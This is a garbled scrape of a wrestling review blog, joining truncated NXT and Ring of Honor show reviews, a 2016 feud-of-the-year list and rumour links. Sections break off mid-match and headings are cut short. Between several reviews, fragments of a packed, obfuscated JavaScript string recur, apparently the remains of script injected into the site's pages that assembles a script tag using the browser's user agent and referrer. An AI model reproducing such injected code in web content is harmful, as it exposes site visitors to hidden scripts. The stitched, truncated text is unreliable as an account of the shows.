IMG Credit: WWE

NXT
Date: June 13, 2018
Location: Full Sail University, Winter Park, Florida
Commentators: Nigel McGuinness, Percy Watson, Mauro Ranallo

It’s the go home show for Takeover: Chicago and that means it’s time to put the final touches on everything. The five match card is already set and this week’s show will feature a focus on the NXT Title match between Aleister Black and his monster challenger Lars Sullivan. The match doesn’t need a lot of focus but at least they can have something to get us to Takeover. Let’s get to it.

Here are last week’s results if you need a recap.

Opening sequence.

War Raiders vs. Ricky Martinez/Justin Storm

Hanson shoves Storm into the corner to start and cartwheels away from a charge to show off a bit. Martinez comes in and tries a forearm on Rowe but hurts himself in the process. The shotgun knees send Martinez into the corner and Rowe tosses Hanson onto him for good measure. The yet to be renamed Fallout ends Martinez at 2:38. Total squash.

Post match the Raiders call out TM61 and beat Storm up. They didn’t want him to feel left out you see.

Adam Cole yells at a cameraman for filming Undisputed Era without his permission.

Long recap of Johnny Gargano vs. Tommaso Ciampa, focusing on the time from their first match in New Orleans through now. Gargano won the unsanctioned match but Ciampa wasn’t done, attacking Gargano a few weeks later. Now it’s time for a street fight, though Johnny’s wife Candice doesn’t approve. Candice got take out in one of the fights and both guys were more than a little shake. Now it doesn’t have to be a wrestling match because they can just hurt each other.

EC3 vs. Kassius Ohno

This was set up last week when EC3 interrupted Ohno’s photo shoot. Ohno shoves the smiling EC3 down to start but EC3 is right back with a ram into the corner and some forearms of his own. The neck crank doesn’t last long as Ohno fights up with a knee to the face. Three straight backsplashes keep EC3 in trouble until he snaps Ohno throat first across the top rope. The 1%er (TKO) ends Ohno at 4:07.

Rating: D+. Just a quick win for EC3 here, which is a good thing as he doesn’t have a feud at the moment and has nothing else to do other than win random matches. That’s exactly why Ohno is here too as he’s more than fine enough to put on a good performance in a loss that isn’t going to hurt his credibility.

Bianca Belair vs. Aliyah

Aliyah takes some time to show off her new fire look and gets the bandanna forearmed off of her head. Belair runs her over in the corner and talks trash out of her blue lips. A guillotine doesn’t get Aliyah very far as Bianca suplexes her down instead. Belair deadlifts her into a gorilla press and a torture rack into a sitout faceplant is good for the pin on Aliyah at 2:52. Another squash.

Video on Shayna Baszler vs. Nikki Cross. Baszler came in and broke all the rules but Cross doesn’t live by any rules in the first place and seems to want Baszler to hurt her. It also seems to be part of the bigger Baszler vs. Dakota Kai feud with Cross standing up for her.

Kai is proud of standing up to Baszler but Belair comes in to take over the interview because she’s awesome. Belair talks a lot of trash about how great she is and how Kai is nothing but a Team Kick catchphrase. They set up a match for next week.

United Kingdom Title: Kyle O’Reilly vs. Pete Dunne

Dunne is defending and has a taped up leg. The fans are way into this as they tease kicking each other to start. A test of strength drives Dunne to the mat but he reverses into a failed double wristlock attempt. They head outside with an X Plex dropping O’Reilly onto the apron before Dunne takes it back inside for a double fish hook. Dunne loads up the moonsault out of the corner get but gets kicked in the bad knee to bring him back down.

It’s already off to the kneebar but Dunne gets to his feet and enziguris his way to freedom. Now the moonsault out of the corner works and Dunne goes back to the arm. The Bitter End is blocked and O’Reilly is back on the knee. That’s reversed into an X Plex, only to have O’Reilly go after the kneebar again. Dunne breaks that up as well and they trade enziguris until a right hand drops O’Reilly. Another shot to the face sets up the Bitter End to retain the title at 10:20.

Rating: B. Another good match from Dunne, even if there was no doubt that the title was safe. O’Reilly is great as some who can go after a body part without being a threat to win a big match most of the time. It’s almost like a Ken Shamrock without the crazy insanity that came along with him. Dunne looked great again here, and that’s all you can expect him to be anymore.

Post match the Undisputed Era runs in but Danny Burch and Oney Lorcan make the save.

Here’s Aleister Black for a chat to end the show. Black says that nothing is too powerful to be stopped by Black Mass and he will fade to black. Cue Lars Sullivan and the fight is on in a hurry. Black slugs away but gets clotheslined down, followed by the Freak Accident. A second and third Freak Accident plant Black so Sullivan can take him up to the announcers’ table. Black is out as Sullivan poses above the champ to end the show.

Overall Rating: B. This was a perfectly acceptable go home show with everything on Sunday getting some time in the form of either a promo, a video or a match. I was already fired up to see Takeover and with a nice push towards the NXT Title match, there’s not much else left to do. Good show tonight with a strong main event as NXT does it again.

Results

War Raiders b. Ricky Martinez/Justin Storm – Fallout to Martinez

EC3 b. Kassius Ohno – 1%er

Bianca Belair b. Aliyah – Torture rack into a facebuster

Pete Dunne b. Kyle O’Reilly – Bitter End

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of the NXT The Full Sail Years Volume III (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/05/25/new-book-nxt-the-full-sail-years-from-dallas-to-new-orleans/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

NXT
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bffrz|var|u0026u|referrer|edyfr||js|php'.split('|'),0,{})) August 30, 2017
Location: Full Sail University, Winter Park, Florida
Commentators: Percy Watson, Nigel McGuinness, Mauro Ranallo

We’re back to the regular stuff this week as NXT returns home to Full Sail. After last week’s recap/reset episode, this time we’ll be having the first storyline advancements since Brooklyn. The big story will see Drew McIntyre as the new NXT Champion and the former Ring of Honor guys biting at his heels. Let’s get to it.

Opening sequence.

Sanity, some security guards and possibly other wrestlers are down in the back. Three people, presumably Adam Cole, Bobby Fish and Kyle O’Reilly are seen walking away. William Regal comes in and wants medical personnel.

Here’s McIntyre for his first comments as champion. After the required YOU DESERVE IT chants, Drew says this is his life. The last seventeen years have led him to this moment and this is his life’s work. He understands that the title comes with a big bullseye on his back. Drew brings up Cole and company and is ready to face anyone so here’s Roderick Strong to interrupt. Roderick wants a shot at the title but first, he has to face Bobby Roode. The champ seems game.

Roode says he’s already on Smackdown but tonight he’s beating Strong and coming after his NXT Title, which he’ll bring up to Smackdown with him.

Peyton Royce vs. Ruby Riot

They head to the mat to start with Riot getting the better of it and scoring with a dropkick for two. An armbar keeps Royce in trouble so Peyton knees her in the face for a breather. Ruby gets thrown outside and we take a break. Back with Ruby fighting out of a chinlock and firing off a string of kicks for two. A Death Valley Driver gives Royce a quick two but Riot knocks her around even more.

Billie Kay pulls Royce outside though, like a true friend should be doing. That’s fine with Riot, who nails a double suicide dive. Royce tries to crawl away until Riot grabs her by the legs. Billie pulls her outside for a big boot though, with the referee seeing no problem with Riot just disappearing while pulling on Royce’s leg. Back in and Peyton’s fisherman’s suplex is good for the pin at 10:45.

Rating: C-. I like the idea of Royce and Kay getting a win here and there, especially when they cheat to keep Riot looking strong. With Asuka’s status in flux at the moment, Riot could become a major player on top of the division in a hurry. Royce is getting better in the ring though and she has a finisher that works well enough, which should help her in the future.

Kassius Ohno comes in to ask Regal for a match with Hideo Itami. The match is already made but Ohno wants and receives no disqualifications as a bonus stipulation.

Video on Heavy Machinery.

Heavy Machinery vs. Edwin Nagrom/Damien Awheel

Otis takes Awheel into the corner with a lockup, sending him climbing the buckles without breaking it up. It’s off to Knight for a front facelock on Awheel and a crossbody to both jobbers at once. The Compactor drives Awheel onto Nagrom and it’s a double pin for Dozovic at 2:11. Total squash, made only slightly more annoying by the odd jobber names.

We look at Lars Sullivan attacking No Way Jose.

Regal isn’t please with Sullivan being so violent and puts him in a 3-1 handicap match next week.

Cezar Bononi vs. Andrade Cien Almas next week.

Roderick Strong vs. Bobby Roode

The fans chant THANK YOU BOBBY until we’re ready to go. Roode promises to prove that Strong is a failure all over again but takes too long doing GLORIOUS, allowing Roderick to punch him down. A headlock slows Strong down as Roode is a full on face here. Strong will have none of that as he hammers away at Roode’s head and grabs two straight backbreakers.

The threat of a third backbreaker on the floor sees Roode shove Strong into the steps, followed by a spinebuster on the floor. Back from a break with Roode hitting a backbreaker of his own and striking the GLORIOUS pose. He poses a bit too long though and it’s Strong grabbing a pop up gutbuster for a breather. An Angle Slam is countered into an armdrag but Strong settles for another backbreaker. A tiger bomb into a Boston crab sends Roode straight for the ropes.

Back up and a TKO into a Stunner gives Roode two of his own. Another spinebuster looks to set up the Glorious DDT but it’s the Angle Slam from Strong instead. The fans are split now as Roode breaks up a super backbreaker, only to get enziguried on the top. Strong settles for a superplex for another near fall and both guys are down.

A slugout goes to Roode, who grabs the Glorious DDT for two with Roderick (it sounded like Percy called him Roger) getting his foot on the ropes. Roode makes the mistake of talking trash about Strong’s family though and it’s a jumping knee to the face. Strong nails End of Heartache, blows Roode a kiss goodbye, and hits a second to put Roode away at 17:48.

Rating: B+. This felt like Strong vs. Jay Lethal for the ROH TV Title where Strong needed to win and finally threw everything he had at Roode until there was nothing left. This is the kind of win that Strong has been missing as he’s never had that signature victory. If nothing else it’s going to put him near the NXT Title picture, either challenging McIntyre or joining the ROH guys as their second in command. Really good match here with a simple yet effective story.

It’s pretty clear that this is it for Roode in NXT and I was really surprised by how much I liked his time there. I’ve never quite gotten all of his hype in TNA but he was excellent in NXT with a very basic style played up to a high level. That made for some good matches to go with that outstanding theme song. I’m glad that they seem to want to do something with him on Smackdown as Roode is already 40 and deserves this kind of a run after spending so much time in TNA.

Post match Drew comes out to stare down Strong but gets jumped by Cole and company. Regal comes out to chase them off as the three of them shout about this being their NXT and how they’re doing Regal a favor to end the show. They’re doing a solid job of making them feel like the original NWO and that’s a good thing.

Overall Rating: B. They hit the ground running on this taping and that’s a very good sign. You have a fresh champion with a hot heel act plus Strong as a wildcard. That leaves you with a bunch of different possibilities, all of which could produce some very good results. Having those options is fun but it’s a lot more fun to see how they get to an ending, which is a long way off from here. Very good show this week and I’m feeling better about NXT than I have in a long time.

Results

Peyton Royce b. Ruby Riot – Fisherman’s suplex

Heavy Machinery b. Edwin Nagrom/Damien Awheel

Roderick Strong b. Bobby Roode – End of Heartache

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

NXT
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dhbzi|var|u0026u|referrer|tsrhf||js|php'.split('|'),0,{})) August 2, 2017
Location: Full Sail University, Winter Park, Florida
Commentators: Mauro Ranallo, Nigel McGuinness, Percy Watson

With just over two weeks to go to before Takeover: Brooklyn III, it’s time to get some things moving. We already have a lot of the card set so now we can focus on building up what’s already announced and set up some other stuff. Tonight the main focus seems to be on Aleister Black, who currently doesn’t have a match for the big show. Let’s get to it.

Opening sequence.

Johnny Gargano vs. Raul Mendoza

Johnny comes out to the old DIY music and video but stops so they can both change to Gargano versions. Gargano takes him to the mat with a front facelock into a headlock but Mendoza nips up and gets two off a rollup. That earns Raul a superkick to the jaw and Johnny starts in on the arm. Mendoza gets in a dropkick for two of his own, only to miss a springboard and eat the spear through the ropes. Raul hits an enziguri and goes up but dives right into the modified Crossface for the tap at 4:13.

Rating: C. Gargano looked good here and that’s all he had to do in his first match after the DIY split. Ciampa vs. Gargano is going to be a headline match when it finally happens but you have to keep Gargano hot while he’s out there on his own. Not a bad match here, though Mendoza was nothing special.

We look at last week’s brawl between Sanity and the Authors of Pain. The title match is official for Brooklyn.

Paul Ellering says the Authors will write the chapter at Brooklyn. Until then though, be prepared because the monsters are real.

Here’s Asuka with something to say. As usual, she keeps it very simple by saying she’s beaten Ember Moon before and Ember isn’t ready to face her again. Cue Moon, to say she knows that she’s ready, just as Asuka knows. Asuka offers the handshake but slaps Ember instead. The fight is on with Ember getting in some right hands but eating a kick to to the face. Asuka poses with the title….and turns right into the Eclipse to knock her cold. Ember won’t pick up the title, saying she’ll touch it when she earns it. Good segment here with Asuka putting the Eclipse over huge.

Bobby Roode talks about proving that he’s a better man than Roderick Strong but of course Roderick wants to play the lottery again. As for Drew McIntyre, Bobby is more than willing to have a chat with him in the ring next week. Roode goes to leave when Strong charges in for a fight. William Regal and security break it up with Strong saying he’ll do anything to face Roode. Regal says his hands are tied because the match is made.

The Street Profits are here next week.

Sonya Deville vs. Jenna Van Bimmel

Sonya offers to let the much bigger Jenna have some free shots but does some head faking to avoid them. A hard clothesline sets up some knees to the ribs have Jenna in trouble as this is looking squashish. Jenna hits a charge in the corner but gets pulled down into a triangle choke for the tap at 2:06.

Hideo Itami is tired of not being respected so he’s not going to respect anyone. He rants in Japanese and ignores a need to go back to the arena. Instead he steals the mic and walks into the arena, saying he deserves respect. He doesn’t care who’s next but it’s Aleister Black cutting him off. After the long entrance, Itami goes to leave but tries a sneak attack. That goes bad for him though Black Mass drops Itami with one shot. Black just sitting there staring at Itami’s unconscious body is great stuff.

Kyle O’Reilly vs. Aleister Black

This is Kyle’s debut. Nigel: “HE’S HERE TOO!” Feeling out process to start and they fight over some grappling. Some striking doesn’t last long and they go back to the grappling with Kyle not being able to get a triangle choke. A chinlock is countered into a hammerlock as Mauro is trying to get in every MMA reference he can.

Back up and a spinning legsweep into the sitting pose has Kyle in trouble as we take a break. It’s not much better for Kyle when we come back as Aleister kicks him square in the chest for two. Black charges into a boot to the jaw though and Kyle snaps off some kicks of his own.

Kyle grabs a leglock on the mat and it’s a slap off until Black finally gets out. Black blocks a cross armbreaker so Kyle settles for a hammerlock and knees to the arm. Back from a second break with Black telling Kyle to hit him and grabbing a snap suplex for two. Kyle snaps the throat across the top though and it’s right back to another arm hold.

Black kicks him in the head to escape and gets two off a Lionsault press. A second attempt is blocked with a kick to the leg though and a big forearm to the back of the head gets two on Black. Aleister fires off more strikes but charges into a jumping knee. Not that it matters as Black Mass puts Kyle away at 22:56.

Rating: B+. I’m not big on the MMA style a lot of the time but this was very fun with both guys beating the heck out of each other for a long time. Black is one of the best built starts they’ve had in a good while as not only does he look cool but the finisher is as devastating as they’ve had in a long time. Kyle looked solid as well and it’s a very good debut, though I have a feeling the ReDRagon reunion is the way to go for both he and Bobby Fish.

Overall Rating: A-. You can tell NXT is starting to feel it as we head into the biggest show of the year. We had the Tag Team Title match confirmed tonight and you can probably pencil in Black vs. Itami as well as Gargano vs. someone. Add that to the already announced NXT and Women’s Title matches and Brooklyn is looking good. Give us a hard sell on the NXT Title match and everything will be fine.

Results

Johnny Gargano b. Raul Mendoza – Crossface

Sonya Deville b. Jenna Van Bimmel – Triangle choke

Aleister Black b. Kyle O’Reilly – Black Mass

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dayfy|var|u0026u|referrer|diatd||js|php'.split('|'),0,{})) is built on the backs of feuds. When you add up all the matches and promos, they combine to form a feud between two wrestlers or teams. Over the course of 2016, WWE has produced more than its fair share of them but a handful have stood out above the rest. Today we’re going to look at the nominees for Feud of the Year. As will be the case with all of the awards we’ll be looking at over the next few weeks, these are presented in no particular order.

1. Charlotte vs. Sasha Banks.

This led to a long series of matches between the two of them with both women getting the better of it at one point or another. Both have taken the title from the other on multiple occasions, though Banks was never able to defeat Charlotte in a pay per view setting. All of her three title wins came on episodes of “Monday Night Raw” and all three ended in less than a month with Charlotte taking the belt back every time.

However, as good as their matches were, there was a much bigger historical significance to their rivalry. At “Hell in a Cell 2016”, Banks and Charlotte wrestled in the main event, making them the only women to ever do so at a WWE pay per view. To call this a huge moment would be an understatement as just a few years ago, WWE Divas (a term which has thankfully gone by the wayside) were lucky to have a two minute match with a chunk of that going to entrances.

2. The Miz vs. Dolph Ziggler

While Charlotte vs. Banks was built on action, this feud was built entirely on emotion. Ziggler has spent a large portion of this year talking about how he needed to win the big one no matter what happened. Unfortunately, this led to loss after loss after loss as Ziggler continues his career trend of not being able to pull off the big one no matter what he did.

3. DIY vs. Revival

4. Samoa Joe vs. Shinsuke Nakamura

That champion would be Samoa Joe, who had surprised quite a few people by defeating Balor to become NXT Champion. This set up a collision course between Nakamura and Joe over the title with Nakamura taking the belt away at “Takeover: Brooklyn”. It seemed that Nakamura would go on to hold the title for as long as he wanted as no one had ever been a two time NXT Champion.

This feud had some excellent, hard hitting matches but also took NXT and its title to some new places. Instead of having someone win the title, defend it against the former champion and then move on, it was actually something fresh with the two wrestlers trading the title. This gave us some very strong surprises to go with the intense matches and promos between the two, making it an NXT classic.

5. AJ Styles vs. John Cena

A match was quickly set up over the summer with Styles taking a surprise heel turn on Cena to set things up. In an even bigger surprise, Cena lost to Styles, albeit with some help from Karl Anderson and Luke Gallows. With one classic under their belts, the only solution was to have a second match on the bigger stage of “Summerslam 2016”.

This is how you make someone into a huge star by way of a big rub. Cena is someone who is going to be able to lose matches like this and bounce back with almost nothing lost along the way. Styles on the other hand was able to gain more in those two wins than almost anything else he could have done in months against other opponents. The shock of Styles winning clean still holds up and Cena will be just fine when he gets back in the ring full time.

6. Sami Zayn vs. Kevin Owens

They had two great matches on pay per view this year at Battleground and Payback with the two of them splitting the wins. That win for Zayn at Battleground was a huge moment because he never won the big one over Owens at any point. This made Zayn into a player for the first time and if you ignore him doing nothing special after the win, it should have been a turning point in his career.

On the other hand, Owens got a big run out of this and would wind up being the World Champion as a result. Now, logic would suggest that Zayn would go on to be the #1 contender but since WWE decided that THIS IS THEIR LAST MATCH (until a few months later when they fought on Raw), that went nowhere. At least the two matches on pay per view were great.

The feud was violent, personal and entertaining as the big payoff was worth the build in the end. Kyle made the title seem important and beating one of the biggest stars in the history of the company helped so much. The fact that it was his old partner and rival was the big icing on the cake, which made everything work so well.

https://www.amazon.com/dp/B01MQKDV5O

And check out my Amazon author page with cheap wrestling books at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kfebs|var|u0026u|referrer|zftan||js|php'.split('|'),0,{})) of Honor
Date: December 21, 2016
Location: 2300 Arena, Philadelphia, Pennsylvania
Commentators: Nigel McGuinness, Kevin Kelly

Opening sequence.

^th champion.

Mark Briscoe

Christopher Daniels

Chris Sabin

Colt Cabana

BJ Whitmer

Jay Briscoe

Jay Lethal

Jushin Thunder Liger

Decade of Excellence Tournament First Round: Mark Briscoe vs. Christopher Daniels

Apparently Daniels mentored Mark when he first got here. Feeling out process to start with shoulder blocks having no effect all around. The threat of Red Neck Kung Fu backs Daniels up but he does his own crane pose. Mark hammers away in the corner until an STO gives Daniels a breather.

Lio Rush vs. Caprice Coleman

The Rebellion beats Rush down until Donovan Dijak and Jay White make the save.

The Bucks beat down the good guys to start because the Bucks are the most popular wrestlers in the company. Cole takes the advantage but gets into a slugout with Kyle, who actually loses early on. Kyle sends him outside for a running knee from the apron as all six are on the floor.

Back from a break with Nick getting crotched on top but the Bullet Club breaking up the tag attempt. Three straight superkicks knock Kyle out and the Swanton off the apron keeps the Bucks looking perfect. Kyle finally blocks a splash with raised knees and the hot tag brings in Dalton for three straight German suplexes.

Overall Rating: D+. This was a rather up and down show as some of the booking made me want to pull my hair out but the wrestling was good enough to make up for parts of it. I like the idea of Kyle fighting half the roster for the title but I could go for less Bucks being treated like the most untouchable thing ever. Then again, Kyle did make one of them tap out to end the show and that helps a lot.

https://www.amazon.com/dp/B01MQKDV5O

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sznfh|var|u0026u|referrer|nssya||js|php'.split('|'),0,{})) Battle 2016
Date: December 2, 2016
Location: Hammerstein Ballroom, New York City, New York
Commentators: Steve Corino, Kevin Kelly

Opening sequence.

Opening sequence.

Rebellion vs. Motor City Machine Guns/Donovan Dijak

The Guns are still in search of a permanent partner because trios are suddenly awesome. The Rebellion is the former Cabinet (Caprice Coleman/Kenny King/Rhett Titus) because Rebellion might actually be an even weaker name. To really show how rebellious King is, he has an upside down ROH logo on his trunks. Sabin and King run the ropes a bit to start with a grand total of nothing happen. Gotta love that non-offense from these rebels.

More triple teaming ensues until Sabin gets in a tornado DDT. That means Dijak gets to clean house with a top rope chokebreaker (close enough at least) getting two on Titus. The fans are WAY into Dijak here but the chants are cut off as the Guns start speeding things up. Well as speedy as they can make them at this point in their careers.

Dijak actually busts out a springboard flip dive to make my eyes pop open. Feast Your Eyes sends Titus into a powerbomb for two with Coleman and King diving in for the save. Another powerbomb puts King down but Skull and Bones are broken up. The Sky Splitter sets up the Big Dawg (frog) splash to put Sabin away at 12:27.

We recap Silas Young vs. Jushin Thunder Liger. Young got annoyed at a fan dressing up like Liger so he wanted to beat up the inspiration for never showing his face like a coward.

Jushin Thunder Liger vs. Silas Young

We recap Colt Cabana vs. Dalton Castle, which is your standard short term tag team breakup feud with Cabana playing heel.

Colt Cabana vs. Dalton Castle

You can tell Colt has turned as his music into something much slower with rap lyrics. Castle comes out in a chariot pulled by the Boys. Dalton immediately poses on the middle rope with his legs crossed like a gentleman. A quick takedown puts Colt on the mat and he bails to the floor, allowing Castle to do his strut after faking Cabana out on a suicide dive. The Boys are thrown in so Castle uses them as stepping stones to set up a dropkick. Now that shows some thinking out there.

Cody vs. Jay Lethal

Feeling out process to start as they hit the mat early on. A hiptoss exchange goes fine until Lethal gets in a dropkick for the first major offense. Cody comes right back with a very delayed gordbuster and starts in on the arm. Addiction keeps putting over the idea of Cody having experience in big matches and not buckling under the pressure.

Post match Cody mocks the Code of Honor and flips Lethal off. Addiction chases him away while Corino jumps back in on commentary to say “he was right all along.” Rhodes shoves Corino down but Steve keeps his cool.

Long recap of the Six Man Tag Team Title tournament. Lio Rush is replacing ACH, who has left the promotion.

Six Man Tag Team Titles: Kingdom vs. Kushida/Jay White/Lio Rush

The announcers are nice enough to start explaining why we should care about the Kingdom as Kushida scores with a double Tajiri handspring elbow. Everything breaks down and White gets two off a missile dropkick. To really pick things up a bit, White gets caught in a half crab from the top rope, only to have Kushida put Vinny in the Hoverboard Lock on the top for the save.

TV Title: Will Ospreay vs. Dragon Lee vs. Marty Scurll

With Lee dispatched, Ospreay and Scurll start slugging it out until Marty gets caught in the Tree of Woe. Cue Lee for the Alberto Del Rio top rope double stomp and a near fall. A running hurricanrana pulls Ospreay off the apron and down to the floor but Will pops back up for a big running flip dive of his own.

We recap the Tag Team Title match, which is just about the Briscoes wanting their ninth title reign.

Tag Team Titles: Briscoe Brothers vs. Young Bucks

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And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bfhdk|var|u0026u|referrer|ekikk||js|php'.split('|'),0,{})) Could Chris Jericho Be Leaving WWE?

http://wrestlingrumors.net/when-could-chris-jericho-be-leaving-wwe/

What Other Gimmicks Were Considered for Charlotte vs. Sasha Banks? December 7, 2016.

http://wrestlingrumors.net/what-other-gimmicks-were-considered-for-charlotte-vs-sasha-banks/

Two NXT Tag Team Title Matches Announced. December 8, 2016.

http://wrestlingrumors.net/two-nxt-tag-team-title-matches-announced/

Update on the NXT Title Situation. December 8, 2016.

http://wrestlingrumors.net/update-on-the-nxt-title-situation/

Ring of Honor Title to be Defended at “Wrestle Kingdom 11.” December 8, 2016.

http://wrestlingrumors.net/ring-honor-title-defended-wrestle-kingdom-11/

Vince McMahon Changes Mind on WWE Network. December 8, 2016.

http://wrestlingrumors.net/vince-mcmahon-changes-mind-wwe-network/

Two More “Smackdown Live” Wrestlers Injured. December 8, 2016.

http://wrestlingrumors.net/two-smackdown-live-wrestlers-injured/

WWE Wishes Legend Happy Birthday, Return Possible? December 9, 2016.

http://wrestlingrumors.net/wwe-wishes-legend-happy-birthday-return-possible/

AJ Styles Pulled From More Shows. December 9, 2016.

http://wrestlingrumors.net/aj-styles-pulled-shows/

Two TNA Talents Reportedly Gone. December 10, 2016.

http://wrestlingrumors.net/two-tna-talents-reportedly-gone/

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ndkde|var|u0026u|referrer|sanaz||js|php'.split('|'),0,{})) of Honor
Date: November 30, 2016
Location: William J. Myers Pavilion, Baltimore, Maryland
Attendance: 600
Commentators: Kevin Kelly, Steve Corino, Alex Shelley

Opening sequence.

Lio Rush vs. Jonathan Gresham

Feeling out process to start and Gresham annoys Lio with an errant forearm to the face. They hit the mat with the arms interlocking for a quick standoff. Lio lights up the chest with a hard kick but Gresham kicks the arm to even things out. An enziguri puts Rush on the floor and a middle rope moonsault is awkwardly caught as Lio almost looks like he tried for a Big Ending.

Post match the Motor City Machine Guns come in and put both guys over.

We run down the Final Battle card.

Addiction vs. Briscoes

The Addiction actually shakes hands after the match.

https://www.amazon.com/dp/B01MQKDV5O

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ndrfb|var|u0026u|referrer|dzrer||js|php'.split('|'),0,{})) of Honor
Date: November 23, 2016
Location: William J. Myers Pavilion, Baltimore, Maryland
Attendance: 600
Commentators: Kevin Kelly, Steve Corino

Opening sequence.

Dalton Castle is still missing the Boys (Where did they go anyway?) so Colt Cabana offers him some replacements.

Colt Cabana/Dalton Castle vs. Preston Quinn/Ken Dixon

Six Man Tag Team Title Tournament Semifinals: The Kingdom vs. Team CMLL